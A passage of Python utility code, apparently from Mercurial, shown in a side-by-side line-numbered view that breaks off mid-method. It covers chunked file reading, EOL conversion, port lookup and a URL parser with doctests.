2581
2582
2582 def readfile(path):
2583 def readfile(path):
2583 with open(path, b'rb') as fp:
2584 with open(path, b'rb') as fp:
2584 return fp.read()
2585 return fp.read()
2585
2586
2586
2587
2587 def writefile(path, text):
2588 def writefile(path, text):
2588 with open(path, b'wb') as fp:
2589 with open(path, b'wb') as fp:
2589 fp.write(text)
2590 fp.write(text)
2590
2591
2591
2592
2592 def appendfile(path, text):
2593 def appendfile(path, text):
2593 with open(path, b'ab') as fp:
2594 with open(path, b'ab') as fp:
2594 fp.write(text)
2595 fp.write(text)
2595
2596
2596
2597
2597 class chunkbuffer(object):
2598 class chunkbuffer(object):
2598 """Allow arbitrary sized chunks of data to be efficiently read from an
2599 """Allow arbitrary sized chunks of data to be efficiently read from an
2599 iterator over chunks of arbitrary size."""
2600 iterator over chunks of arbitrary size."""
2600
2601
2601 def __init__(self, in_iter):
2602 def __init__(self, in_iter):
2602 """in_iter is the iterator that's iterating over the input chunks."""
2603 """in_iter is the iterator that's iterating over the input chunks."""
2603
2604
2604 def splitbig(chunks):
2605 def splitbig(chunks):
2605 for chunk in chunks:
2606 for chunk in chunks:
2606 if len(chunk) > 2 ** 20:
2607 if len(chunk) > 2 ** 20:
2607 pos = 0
2608 pos = 0
2608 while pos < len(chunk):
2609 while pos < len(chunk):
2609 end = pos + 2 ** 18
2610 end = pos + 2 ** 18
2610 yield chunk[pos:end]
2611 yield chunk[pos:end]
2611 pos = end
2612 pos = end
2612 else:
2613 else:
2613 yield chunk
2614 yield chunk
2614
2615
2615 self.iter = splitbig(in_iter)
2616 self.iter = splitbig(in_iter)
2616 self._queue = collections.deque()
2617 self._queue = collections.deque()
2617 self._chunkoffset = 0
2618 self._chunkoffset = 0
2618
2619
2619 def read(self, l=None):
2620 def read(self, l=None):
2620 """Read L bytes of data from the iterator of chunks of data.
2621 """Read L bytes of data from the iterator of chunks of data.
2621 Returns less than L bytes if the iterator runs dry.
2622 Returns less than L bytes if the iterator runs dry.
2622
2623
2623 If size parameter is omitted, read everything"""
2624 If size parameter is omitted, read everything"""
2624 if l is None:
2625 if l is None:
2625 return b''.join(self.iter)
2626 return b''.join(self.iter)
2626
2627
2627 left = l
2628 left = l
2628 buf = []
2629 buf = []
2629 queue = self._queue
2630 queue = self._queue
2630 while left > 0:
2631 while left > 0:
2631 # refill the queue
2632 # refill the queue
2632 if not queue:
2633 if not queue:
2633 target = 2 ** 18
2634 target = 2 ** 18
2634 for chunk in self.iter:
2635 for chunk in self.iter:
2635 queue.append(chunk)
2636 queue.append(chunk)
2636 target -= len(chunk)
2637 target -= len(chunk)
2637 if target <= 0:
2638 if target <= 0:
2638 break
2639 break
2639 if not queue:
2640 if not queue:
2640 break
2641 break
2641
2642
2642 # The easy way to do this would be to queue.popleft(), modify the
2643 # The easy way to do this would be to queue.popleft(), modify the
2643 # chunk (if necessary), then queue.appendleft(). However, for cases
2644 # chunk (if necessary), then queue.appendleft(). However, for cases
2644 # where we read partial chunk content, this incurs 2 dequeue
2645 # where we read partial chunk content, this incurs 2 dequeue
2645 # mutations and creates a new str for the remaining chunk in the
2646 # mutations and creates a new str for the remaining chunk in the
2646 # queue. Our code below avoids this overhead.
2647 # queue. Our code below avoids this overhead.
2647
2648
2648 chunk = queue[0]
2649 chunk = queue[0]
2649 chunkl = len(chunk)
2650 chunkl = len(chunk)
2650 offset = self._chunkoffset
2651 offset = self._chunkoffset
2651
2652
2652 # Use full chunk.
2653 # Use full chunk.
2653 if offset == 0 and left >= chunkl:
2654 if offset == 0 and left >= chunkl:
2654 left -= chunkl
2655 left -= chunkl
2655 queue.popleft()
2656 queue.popleft()
2656 buf.append(chunk)
2657 buf.append(chunk)
2657 # self._chunkoffset remains at 0.
2658 # self._chunkoffset remains at 0.
2658 continue
2659 continue
2659
2660
2660 chunkremaining = chunkl - offset
2661 chunkremaining = chunkl - offset
2661
2662
2662 # Use all of unconsumed part of chunk.
2663 # Use all of unconsumed part of chunk.
2663 if left >= chunkremaining:
2664 if left >= chunkremaining:
2664 left -= chunkremaining
2665 left -= chunkremaining
2665 queue.popleft()
2666 queue.popleft()
2666 # offset == 0 is enabled by block above, so this won't merely
2667 # offset == 0 is enabled by block above, so this won't merely
2667 # copy via ``chunk[0:]``.
2668 # copy via ``chunk[0:]``.
2668 buf.append(chunk[offset:])
2669 buf.append(chunk[offset:])
2669 self._chunkoffset = 0
2670 self._chunkoffset = 0
2670
2671
2671 # Partial chunk needed.
2672 # Partial chunk needed.
2672 else:
2673 else:
2673 buf.append(chunk[offset : offset + left])
2674 buf.append(chunk[offset : offset + left])
2674 self._chunkoffset += left
2675 self._chunkoffset += left
2675 left -= chunkremaining
2676 left -= chunkremaining
2676
2677
2677 return b''.join(buf)
2678 return b''.join(buf)
2678
2679
2679
2680
2680 def filechunkiter(f, size=131072, limit=None):
2681 def filechunkiter(f, size=131072, limit=None):
2681 """Create a generator that produces the data in the file size
2682 """Create a generator that produces the data in the file size
2682 (default 131072) bytes at a time, up to optional limit (default is
2683 (default 131072) bytes at a time, up to optional limit (default is
2683 to read all data). Chunks may be less than size bytes if the
2684 to read all data). Chunks may be less than size bytes if the
2684 chunk is the last chunk in the file, or the file is a socket or
2685 chunk is the last chunk in the file, or the file is a socket or
2685 some other type of file that sometimes reads less data than is
2686 some other type of file that sometimes reads less data than is
2686 requested."""
2687 requested."""
2687 assert size >= 0
2688 assert size >= 0
2688 assert limit is None or limit >= 0
2689 assert limit is None or limit >= 0
2689 while True:
2690 while True:
2690 if limit is None:
2691 if limit is None:
2691 nbytes = size
2692 nbytes = size
2692 else:
2693 else:
2693 nbytes = min(limit, size)
2694 nbytes = min(limit, size)
2694 s = nbytes and f.read(nbytes)
2695 s = nbytes and f.read(nbytes)
2695 if not s:
2696 if not s:
2696 break
2697 break
2697 if limit:
2698 if limit:
2698 limit -= len(s)
2699 limit -= len(s)
2699 yield s
2700 yield s
2700
2701
2701
2702
2702 class cappedreader(object):
2703 class cappedreader(object):
2703 """A file object proxy that allows reading up to N bytes.
2704 """A file object proxy that allows reading up to N bytes.
2704
2705
2705 Given a source file object, instances of this type allow reading up to
2706 Given a source file object, instances of this type allow reading up to
2706 N bytes from that source file object. Attempts to read past the allowed
2707 N bytes from that source file object. Attempts to read past the allowed
2707 limit are treated as EOF.
2708 limit are treated as EOF.
2708
2709
2709 It is assumed that I/O is not performed on the original file object
2710 It is assumed that I/O is not performed on the original file object
2710 in addition to I/O that is performed by this instance. If there is,
2711 in addition to I/O that is performed by this instance. If there is,
2711 state tracking will get out of sync and unexpected results will ensue.
2712 state tracking will get out of sync and unexpected results will ensue.
2712 """
2713 """
2713
2714
2714 def __init__(self, fh, limit):
2715 def __init__(self, fh, limit):
2715 """Allow reading up to <limit> bytes from <fh>."""
2716 """Allow reading up to <limit> bytes from <fh>."""
2716 self._fh = fh
2717 self._fh = fh
2717 self._left = limit
2718 self._left = limit
2718
2719
2719 def read(self, n=-1):
2720 def read(self, n=-1):
2720 if not self._left:
2721 if not self._left:
2721 return b''
2722 return b''
2722
2723
2723 if n < 0:
2724 if n < 0:
2724 n = self._left
2725 n = self._left
2725
2726
2726 data = self._fh.read(min(n, self._left))
2727 data = self._fh.read(min(n, self._left))
2727 self._left -= len(data)
2728 self._left -= len(data)
2728 assert self._left >= 0
2729 assert self._left >= 0
2729
2730
2730 return data
2731 return data
2731
2732
2732 def readinto(self, b):
2733 def readinto(self, b):
2733 res = self.read(len(b))
2734 res = self.read(len(b))
2734 if res is None:
2735 if res is None:
2735 return None
2736 return None
2736
2737
2737 b[0 : len(res)] = res
2738 b[0 : len(res)] = res
2738 return len(res)
2739 return len(res)
2739
2740
2740
2741
2741 def unitcountfn(*unittable):
2742 def unitcountfn(*unittable):
2742 '''return a function that renders a readable count of some quantity'''
2743 '''return a function that renders a readable count of some quantity'''
2743
2744
2744 def go(count):
2745 def go(count):
2745 for multiplier, divisor, format in unittable:
2746 for multiplier, divisor, format in unittable:
2746 if abs(count) >= divisor * multiplier:
2747 if abs(count) >= divisor * multiplier:
2747 return format % (count / float(divisor))
2748 return format % (count / float(divisor))
2748 return unittable[-1][2] % count
2749 return unittable[-1][2] % count
2749
2750
2750 return go
2751 return go
2751
2752
2752
2753
2753 def processlinerange(fromline, toline):
2754 def processlinerange(fromline, toline):
2754 """Check that linerange <fromline>:<toline> makes sense and return a
2755 """Check that linerange <fromline>:<toline> makes sense and return a
2755 0-based range.
2756 0-based range.
2756
2757
2757 >>> processlinerange(10, 20)
2758 >>> processlinerange(10, 20)
2758 (9, 20)
2759 (9, 20)
2759 >>> processlinerange(2, 1)
2760 >>> processlinerange(2, 1)
2760 Traceback (most recent call last):
2761 Traceback (most recent call last):
2761 ...
2762 ...
2762 ParseError: line range must be positive
2763 ParseError: line range must be positive
2763 >>> processlinerange(0, 5)
2764 >>> processlinerange(0, 5)
2764 Traceback (most recent call last):
2765 Traceback (most recent call last):
2765 ...
2766 ...
2766 ParseError: fromline must be strictly positive
2767 ParseError: fromline must be strictly positive
2767 """
2768 """
2768 if toline - fromline < 0:
2769 if toline - fromline < 0:
2769 raise error.ParseError(_(b"line range must be positive"))
2770 raise error.ParseError(_(b"line range must be positive"))
2770 if fromline < 1:
2771 if fromline < 1:
2771 raise error.ParseError(_(b"fromline must be strictly positive"))
2772 raise error.ParseError(_(b"fromline must be strictly positive"))
2772 return fromline - 1, toline
2773 return fromline - 1, toline
2773
2774
2774
2775
2775 bytecount = unitcountfn(
2776 bytecount = unitcountfn(
2776 (100, 1 << 30, _(b'%.0f GB')),
2777 (100, 1 << 30, _(b'%.0f GB')),
2777 (10, 1 << 30, _(b'%.1f GB')),
2778 (10, 1 << 30, _(b'%.1f GB')),
2778 (1, 1 << 30, _(b'%.2f GB')),
2779 (1, 1 << 30, _(b'%.2f GB')),
2779 (100, 1 << 20, _(b'%.0f MB')),
2780 (100, 1 << 20, _(b'%.0f MB')),
2780 (10, 1 << 20, _(b'%.1f MB')),
2781 (10, 1 << 20, _(b'%.1f MB')),
2781 (1, 1 << 20, _(b'%.2f MB')),
2782 (1, 1 << 20, _(b'%.2f MB')),
2782 (100, 1 << 10, _(b'%.0f KB')),
2783 (100, 1 << 10, _(b'%.0f KB')),
2783 (10, 1 << 10, _(b'%.1f KB')),
2784 (10, 1 << 10, _(b'%.1f KB')),
2784 (1, 1 << 10, _(b'%.2f KB')),
2785 (1, 1 << 10, _(b'%.2f KB')),
2785 (1, 1, _(b'%.0f bytes')),
2786 (1, 1, _(b'%.0f bytes')),
2786 )
2787 )
2787
2788
2788
2789
2789 class transformingwriter(object):
2790 class transformingwriter(object):
2790 """Writable file wrapper to transform data by function"""
2791 """Writable file wrapper to transform data by function"""
2791
2792
2792 def __init__(self, fp, encode):
2793 def __init__(self, fp, encode):
2793 self._fp = fp
2794 self._fp = fp
2794 self._encode = encode
2795 self._encode = encode
2795
2796
2796 def close(self):
2797 def close(self):
2797 self._fp.close()
2798 self._fp.close()
2798
2799
2799 def flush(self):
2800 def flush(self):
2800 self._fp.flush()
2801 self._fp.flush()
2801
2802
2802 def write(self, data):
2803 def write(self, data):
2803 return self._fp.write(self._encode(data))
2804 return self._fp.write(self._encode(data))
2804
2805
2805
2806
2806 # Matches a single EOL which can either be a CRLF where repeated CR
2807 # Matches a single EOL which can either be a CRLF where repeated CR
2807 # are removed or a LF. We do not care about old Macintosh files, so a
2808 # are removed or a LF. We do not care about old Macintosh files, so a
2808 # stray CR is an error.
2809 # stray CR is an error.
2809 _eolre = remod.compile(br'\r*\n')
2810 _eolre = remod.compile(br'\r*\n')
2810
2811
2811
2812
2812 def tolf(s):
2813 def tolf(s):
2813 return _eolre.sub(b'\n', s)
2814 return _eolre.sub(b'\n', s)
2814
2815
2815
2816
2816 def tocrlf(s):
2817 def tocrlf(s):
2817 return _eolre.sub(b'\r\n', s)
2818 return _eolre.sub(b'\r\n', s)
2818
2819
2819
2820
2820 def _crlfwriter(fp):
2821 def _crlfwriter(fp):
2821 return transformingwriter(fp, tocrlf)
2822 return transformingwriter(fp, tocrlf)
2822
2823
2823
2824
2824 if pycompat.oslinesep == b'\r\n':
2825 if pycompat.oslinesep == b'\r\n':
2825 tonativeeol = tocrlf
2826 tonativeeol = tocrlf
2826 fromnativeeol = tolf
2827 fromnativeeol = tolf
2827 nativeeolwriter = _crlfwriter
2828 nativeeolwriter = _crlfwriter
2828 else:
2829 else:
2829 tonativeeol = pycompat.identity
2830 tonativeeol = pycompat.identity
2830 fromnativeeol = pycompat.identity
2831 fromnativeeol = pycompat.identity
2831 nativeeolwriter = pycompat.identity
2832 nativeeolwriter = pycompat.identity
2832
2833
2833 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2834 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2834 3,
2835 3,
2835 0,
2836 0,
2836 ):
2837 ):
2837 # There is an issue in CPython that some IO methods do not handle EINTR
2838 # There is an issue in CPython that some IO methods do not handle EINTR
2838 # correctly. The following table shows what CPython version (and functions)
2839 # correctly. The following table shows what CPython version (and functions)
2839 # are affected (buggy: has the EINTR bug, okay: otherwise):
2840 # are affected (buggy: has the EINTR bug, okay: otherwise):
2840 #
2841 #
2841 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2842 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2842 # --------------------------------------------------
2843 # --------------------------------------------------
2843 # fp.__iter__ | buggy | buggy | okay
2844 # fp.__iter__ | buggy | buggy | okay
2844 # fp.read* | buggy | okay [1] | okay
2845 # fp.read* | buggy | okay [1] | okay
2845 #
2846 #
2846 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2847 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2847 #
2848 #
2848 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2849 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2849 # like "read*" work fine, as we do not support Python < 2.7.4.
2850 # like "read*" work fine, as we do not support Python < 2.7.4.
2850 #
2851 #
2851 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2852 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2852 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2853 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2853 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2854 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2854 # fp.__iter__ but not other fp.read* methods.
2855 # fp.__iter__ but not other fp.read* methods.
2855 #
2856 #
2856 # On modern systems like Linux, the "read" syscall cannot be interrupted
2857 # On modern systems like Linux, the "read" syscall cannot be interrupted
2857 # when reading "fast" files like on-disk files. So the EINTR issue only
2858 # when reading "fast" files like on-disk files. So the EINTR issue only
2858 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2859 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2859 # files approximately as "fast" files and use the fast (unsafe) code path,
2860 # files approximately as "fast" files and use the fast (unsafe) code path,
2860 # to minimize the performance impact.
2861 # to minimize the performance impact.
2861
2862
2862 def iterfile(fp):
2863 def iterfile(fp):
2863 fastpath = True
2864 fastpath = True
2864 if type(fp) is file:
2865 if type(fp) is file:
2865 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2866 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2866 if fastpath:
2867 if fastpath:
2867 return fp
2868 return fp
2868 else:
2869 else:
2869 # fp.readline deals with EINTR correctly, use it as a workaround.
2870 # fp.readline deals with EINTR correctly, use it as a workaround.
2870 return iter(fp.readline, b'')
2871 return iter(fp.readline, b'')
2871
2872
2872
2873
2873 else:
2874 else:
2874 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2875 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2875 def iterfile(fp):
2876 def iterfile(fp):
2876 return fp
2877 return fp
2877
2878
2878
2879
2879 def iterlines(iterator):
2880 def iterlines(iterator):
2880 for chunk in iterator:
2881 for chunk in iterator:
2881 for line in chunk.splitlines():
2882 for line in chunk.splitlines():
2882 yield line
2883 yield line
2883
2884
2884
2885
2885 def expandpath(path):
2886 def expandpath(path):
2886 return os.path.expanduser(os.path.expandvars(path))
2887 return os.path.expanduser(os.path.expandvars(path))
2887
2888
2888
2889
2889 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2890 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2890 """Return the result of interpolating items in the mapping into string s.
2891 """Return the result of interpolating items in the mapping into string s.
2891
2892
2892 prefix is a single character string, or a two character string with
2893 prefix is a single character string, or a two character string with
2893 a backslash as the first character if the prefix needs to be escaped in
2894 a backslash as the first character if the prefix needs to be escaped in
2894 a regular expression.
2895 a regular expression.
2895
2896
2896 fn is an optional function that will be applied to the replacement text
2897 fn is an optional function that will be applied to the replacement text
2897 just before replacement.
2898 just before replacement.
2898
2899
2899 escape_prefix is an optional flag that allows using doubled prefix for
2900 escape_prefix is an optional flag that allows using doubled prefix for
2900 its escaping.
2901 its escaping.
2901 """
2902 """
2902 fn = fn or (lambda s: s)
2903 fn = fn or (lambda s: s)
2903 patterns = b'|'.join(mapping.keys())
2904 patterns = b'|'.join(mapping.keys())
2904 if escape_prefix:
2905 if escape_prefix:
2905 patterns += b'|' + prefix
2906 patterns += b'|' + prefix
2906 if len(prefix) > 1:
2907 if len(prefix) > 1:
2907 prefix_char = prefix[1:]
2908 prefix_char = prefix[1:]
2908 else:
2909 else:
2909 prefix_char = prefix
2910 prefix_char = prefix
2910 mapping[prefix_char] = prefix_char
2911 mapping[prefix_char] = prefix_char
2911 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2912 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2912 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2913 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2913
2914
2914
2915
2915 def getport(port):
2916 def getport(port):
2916 """Return the port for a given network service.
2917 """Return the port for a given network service.
2917
2918
2918 If port is an integer, it's returned as is. If it's a string, it's
2919 If port is an integer, it's returned as is. If it's a string, it's
2919 looked up using socket.getservbyname(). If there's no matching
2920 looked up using socket.getservbyname(). If there's no matching
2920 service, error.Abort is raised.
2921 service, error.Abort is raised.
2921 """
2922 """
2922 try:
2923 try:
2923 return int(port)
2924 return int(port)
2924 except ValueError:
2925 except ValueError:
2925 pass
2926 pass
2926
2927
2927 try:
2928 try:
2928 return socket.getservbyname(pycompat.sysstr(port))
2929 return socket.getservbyname(pycompat.sysstr(port))
2929 except socket.error:
2930 except socket.error:
2930 raise error.Abort(
2931 raise error.Abort(
2931 _(b"no port number associated with service '%s'") % port
2932 _(b"no port number associated with service '%s'") % port
2932 )
2933 )
2933
2934
2934
2935
2935 class url(object):
2936 class url(object):
2936 r"""Reliable URL parser.
2937 r"""Reliable URL parser.
2937
2938
2938 This parses URLs and provides attributes for the following
2939 This parses URLs and provides attributes for the following
2939 components:
2940 components:
2940
2941
2941 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2942 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2942
2943
2943 Missing components are set to None. The only exception is
2944 Missing components are set to None. The only exception is
2944 fragment, which is set to '' if present but empty.
2945 fragment, which is set to '' if present but empty.
2945
2946
2946 If parsefragment is False, fragment is included in query. If
2947 If parsefragment is False, fragment is included in query. If
2947 parsequery is False, query is included in path. If both are
2948 parsequery is False, query is included in path. If both are
2948 False, both fragment and query are included in path.
2949 False, both fragment and query are included in path.
2949
2950
2950 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2951 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2951
2952
2952 Note that for backward compatibility reasons, bundle URLs do not
2953 Note that for backward compatibility reasons, bundle URLs do not
2953 take host names. That means 'bundle://../' has a path of '../'.
2954 take host names. That means 'bundle://../' has a path of '../'.
2954
2955
2955 Examples:
2956 Examples:
2956
2957
2957 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2958 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2958 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2959 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2959 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2960 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2960 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2961 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2961 >>> url(b'file:///home/joe/repo')
2962 >>> url(b'file:///home/joe/repo')
2962 <url scheme: 'file', path: '/home/joe/repo'>
2963 <url scheme: 'file', path: '/home/joe/repo'>
2963 >>> url(b'file:///c:/temp/foo/')
2964 >>> url(b'file:///c:/temp/foo/')
2964 <url scheme: 'file', path: 'c:/temp/foo/'>
2965 <url scheme: 'file', path: 'c:/temp/foo/'>
2965 >>> url(b'bundle:foo')
2966 >>> url(b'bundle:foo')
2966 <url scheme: 'bundle', path: 'foo'>
2967 <url scheme: 'bundle', path: 'foo'>
2967 >>> url(b'bundle://../foo')
2968 >>> url(b'bundle://../foo')
2968 <url scheme: 'bundle', path: '../foo'>
2969 <url scheme: 'bundle', path: '../foo'>
2969 >>> url(br'c:\foo\bar')
2970 >>> url(br'c:\foo\bar')
2970 <url path: 'c:\\foo\\bar'>
2971 <url path: 'c:\\foo\\bar'>
2971 >>> url(br'\\blah\blah\blah')
2972 >>> url(br'\\blah\blah\blah')
2972 <url path: '\\\\blah\\blah\\blah'>
2973 <url path: '\\\\blah\\blah\\blah'>
2973 >>> url(br'\\blah\blah\blah#baz')
2974 >>> url(br'\\blah\blah\blah#baz')
2974 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2975 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2975 >>> url(br'file:///C:\users\me')
2976 >>> url(br'file:///C:\users\me')
2976 <url scheme: 'file', path: 'C:\\users\\me'>
2977 <url scheme: 'file', path: 'C:\\users\\me'>
2977
2978
2978 Authentication credentials:
2979 Authentication credentials:
2979
2980
2980 >>> url(b'ssh://joe:xyz@x/repo')
2981 >>> url(b'ssh://joe:xyz@x/repo')
2981 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2982 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2982 >>> url(b'ssh://joe@x/repo')
2983 >>> url(b'ssh://joe@x/repo')
2983 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2984 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2984
2985
2985 Query strings and fragments:
2986 Query strings and fragments:
2986
2987
2987 >>> url(b'http://host/a?b#c')
2988 >>> url(b'http://host/a?b#c')
2988 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2989 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2989 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2990 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2990 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2991 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2991
2992
2992 Empty path:
2993 Empty path:
2993
2994
2994 >>> url(b'')
2995 >>> url(b'')
2995 <url path: ''>
2996 <url path: ''>
2996 >>> url(b'#a')
2997 >>> url(b'#a')
2997 <url path: '', fragment: 'a'>
2998 <url path: '', fragment: 'a'>
2998 >>> url(b'http://host/')
2999 >>> url(b'http://host/')
2999 <url scheme: 'http', host: 'host', path: ''>
3000 <url scheme: 'http', host: 'host', path: ''>
3000 >>> url(b'http://host/#a')
3001 >>> url(b'http://host/#a')
3001 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3002 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3002
3003
3003 Only scheme:
3004 Only scheme:
3004
3005
3005 >>> url(b'http:')
3006 >>> url(b'http:')
3006 <url scheme: 'http'>
3007 <url scheme: 'http'>
3007 """
3008 """
3008
3009
3009 _safechars = b"!~*'()+"
3010 _safechars = b"!~*'()+"
3010 _safepchars = b"/!~*'()+:\\"
3011 _safepchars = b"/!~*'()+:\\"
3011 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3012 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3012
3013
3013 def __init__(self, path, parsequery=True, parsefragment=True):
3014 def __init__(self, path, parsequery=True, parsefragment=True):
3014 # We slowly chomp away at path until we have only the path left
3015 # We slowly chomp away at path until we have only the path left
3015 self.scheme = self.user = self.passwd = self.host = None
3016 self.scheme = self.user = self.passwd = self.host = None
3016 self.port = self.path = self.query = self.fragment = None
3017 self.port = self.path = self.query = self.fragment = None
3017 self._localpath = True
3018 self._localpath = True
3018 self._hostport = b''
3019 self._hostport = b''
3019 self._origpath = path
3020 self._origpath = path
3020
3021
3021 if parsefragment and b'#' in path:
3022 if parsefragment and b'#' in path:
3022 path, self.fragment = path.split(b'#', 1)
3023 path, self.fragment = path.split(b'#', 1)
3023
3024
3024 # special case for Windows drive letters and UNC paths
3025 # special case for Windows drive letters and UNC paths
3025 if hasdriveletter(path) or path.startswith(b'\\\\'):
3026 if hasdriveletter(path) or path.startswith(b'\\\\'):
3026 self.path = path
3027 self.path = path
3027 return
3028 return
3028
3029
3029 # For compatibility reasons, we can't handle bundle paths as
3030 # For compatibility reasons, we can't handle bundle paths as
3030 # normal URLS
3031 # normal URLS
3031 if path.startswith(b'bundle:'):
3032 if path.startswith(b'bundle:'):
3032 self.scheme = b'bundle'
3033 self.scheme = b'bundle'
3033 path = path[7:]
3034 path = path[7:]
3034 if path.startswith(b'//'):
3035 if path.startswith(b'//'):
3035 path = path[2:]
3036 path = path[2:]
3036 self.path = path
3037 self.path = path
3037 return
3038 return
3038
3039
3039 if self._matchscheme(path):
3040 if self._matchscheme(path):
3040 parts = path.split(b':', 1)
3041 parts = path.split(b':', 1)
3041 if parts[0]:
3042 if parts[0]:
3042 self.scheme, path = parts
3043 self.scheme, path = parts
3043 self._localpath = False
3044 self._localpath = False
3044
3045
3045 if not path:
3046 if not path:
3046 path = None
3047 path = None
3047 if self._localpath:
3048 if self._localpath:
3048 self.path = b''
3049 self.path = b''
3049 return
3050 return
3050 else:
3051 else:
3051 if self._localpath:
3052 if self._localpath:
3052 self.path = path
3053 self.path = path
3053 return
3054 return
3054
3055
3055 if parsequery and b'?' in path:
3056 if parsequery and b'?' in path:
3056 path, self.query = path.split(b'?', 1)
3057 path, self.query = path.split(b'?', 1)
3057 if not path:
3058 if not path:
3058 path = None
3059 path = None
3059 if not self.query:
3060 if not self.query:
3060 self.query = None
3061 self.query = None
3061
3062
3062 # // is required to specify a host/authority
3063 # // is required to specify a host/authority
3063 if path and path.startswith(b'//'):
3064 if path and path.startswith(b'//'):
3064 parts = path[2:].split(b'/', 1)
3065 parts = path[2:].split(b'/', 1)
3065 if len(parts) > 1:
3066 if len(parts) > 1:
3066 self.host, path = parts
3067 self.host, path = parts
3067 else:
3068 else:
3068 self.host = parts[0]
3069 self.host = parts[0]
3069 path = None
3070 path = None
3070 if not self.host:
3071 if not self.host:
3071 self.host = None
3072 self.host = None
3072 # path of file:///d is /d
3073 # path of file:///d is /d
3073 # path of file:///d:/ is d:/, not /d:/
3074 # path of file:///d:/ is d:/, not /d:/
3074 if path and not hasdriveletter(path):
3075 if path and not hasdriveletter(path):
3075 path = b'/' + path
3076 path = b'/' + path
3076
3077
3077 if self.host and b'@' in self.host:
3078 if self.host and b'@' in self.host:
3078 self.user, self.host = self.host.rsplit(b'@', 1)
3079 self.user, self.host = self.host.rsplit(b'@', 1)
3079 if b':' in self.user:
3080 if b':' in self.user:
3080 self.user, self.passwd = self.user.split(b':', 1)
3081 self.user, self.passwd = self.user.split(b':', 1)
3081 if not self.host:
3082 if not self.host:
3082 self.host = None
3083 self.host = None
3083
3084
3084 # Don't split on colons in IPv6 addresses without ports
3085 # Don't split on colons in IPv6 addresses without ports
3085 if (
3086 if (
3086 self.host
3087 self.host
3087 and b':' in self.host
3088 and b':' in self.host
3088 and not (
3089 and not (
3089 self.host.startswith(b'[') and self.host.endswith(b']')
3090 self.host.startswith(b'[') and self.host.endswith(b']')
3090 )
3091 )
3091 ):
3092 ):
3092 self._hostport = self.host
3093 self._hostport = self.host
3093 self.host, self.port = self.host.rsplit(b':', 1)
3094 self.host, self.port = self.host.rsplit(b':', 1)
3094 if not self.host:
3095 if not self.host:
3095 self.host = None
3096 self.host = None
3096
3097
3097 if (
3098 if (
3098 self.host
3099 self.host
3099 and self.scheme == b'file'
3100 and self.scheme == b'file'
3100 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3101 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3101 ):
3102 ):
3102 raise error.Abort(
3103 raise error.Abort(
3103 _(b'file:// URLs can only refer to localhost')
3104 _(b'file:// URLs can only refer to localhost')
3104 )
3105 )
3105
3106
3106 self.path = path
3107 self.path = path
3107
3108
3108 # leave the query string escaped
3109 # leave the query string escaped
3109 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3110 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3110 v = getattr(self, a)
3111 v = getattr(self, a)
3111 if v is not None:
3112 if v is not None:
3112 setattr(self, a, urlreq.unquote(v))
3113 setattr(self, a, urlreq.unquote(v))
3113
3114
3114 @encoding.strmethod
3115 @encoding.strmethod
3115 def __repr__(self):
3116 def __repr__(self):
3116 attrs = []
3117 attrs = []
3117 for a in (
